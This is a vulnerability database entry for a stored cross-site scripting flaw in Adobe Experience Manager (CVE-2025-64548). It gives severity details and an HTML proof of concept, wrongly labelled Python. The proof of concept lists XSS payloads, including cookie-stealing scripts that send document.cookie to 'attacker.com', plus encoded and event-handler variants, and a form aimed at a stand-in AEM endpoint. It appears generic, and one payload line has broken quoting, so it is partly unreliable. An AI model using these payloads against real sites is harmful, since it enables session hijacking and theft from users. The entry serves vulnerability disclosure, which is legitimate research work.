CVE-2025-64548

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager <= 6.5.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64548 Adobe Experience Manager Stored XSS PoC -->
<!-- This PoC demonstrates injecting malicious JavaScript into form fields -->
<!-- Requirements: Low-privilege AEM user account -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-64548 Stored XSS PoC</title>
</head>
<body>
    <h2>CVE-2025-64548 Adobe Experience Manager Stored XSS PoC</h2>
    
    <!-- Simulated form field submission -->
    <form id="xssForm" action="https://vulnerable-aem-instance/content/forms/af/submit" method="POST">
        <label>Form Field Input:</label><br>
        <textarea name="form_field" rows="4" cols="50"></textarea><br><br>
        <button type="submit">Submit Form</button>
    </form>

    <div id="payload-generator">
        <h3>Payload Generator</h3>
        <p>Copy one of the following payloads into the form field:</p>
        
        <h4>Basic XSS Payload:</h4>
        <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>
        
        <h4>Cookie Stealing Payload:</h4>
        <code>&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;</code>
        
        <h4>HTML Event Handler Payload (no script tags):</h4>
        <code>&lt;img src=x onerror="alert(document.domain)"&gt;</code>
        
        <h4>SVG Payload:</h4>
        <code>&lt;svg/onload=alert(document.cookie)&gt;</code>
        
        <h4>Encoded Payload:</h4>
        <code>&lt;script&gt;eval(atob('YWxlcnQoJ1hTUycpOw=='))&lt;/script&gt;</code>
    </div>

    <script>
        // JavaScript to demonstrate the XSS attack flow
        const payloads = [
            "<script>alert('CVE-2025-64548 XSS')</script>",
            "<img src=x onerror=fetch('https://attacker.com/log?c='+document.cookie)>",
            "<svg/onload=alert(document.cookie)>",
            "<body onload=alert('XSS')>",
            "<iframe src="javascript:alert('XSS')">"
        ];

        // Auto-fill form with selected payload for testing
        function fillPayload(index) {
            document.querySelector('textarea[name="form_field"]').value = payloads[index];
        }

        // Simulate form submission and XSS execution
        document.getElementById('xssForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const payload = document.querySelector('textarea[name="form_field"]').value;
            console.log('Payload submitted:', payload);
            alert('Form submitted. When victims view this page, the XSS will execute.');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64548
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64548
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64548/
[4] VulDB https://vuldb.com/cve/CVE-2025-64548
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

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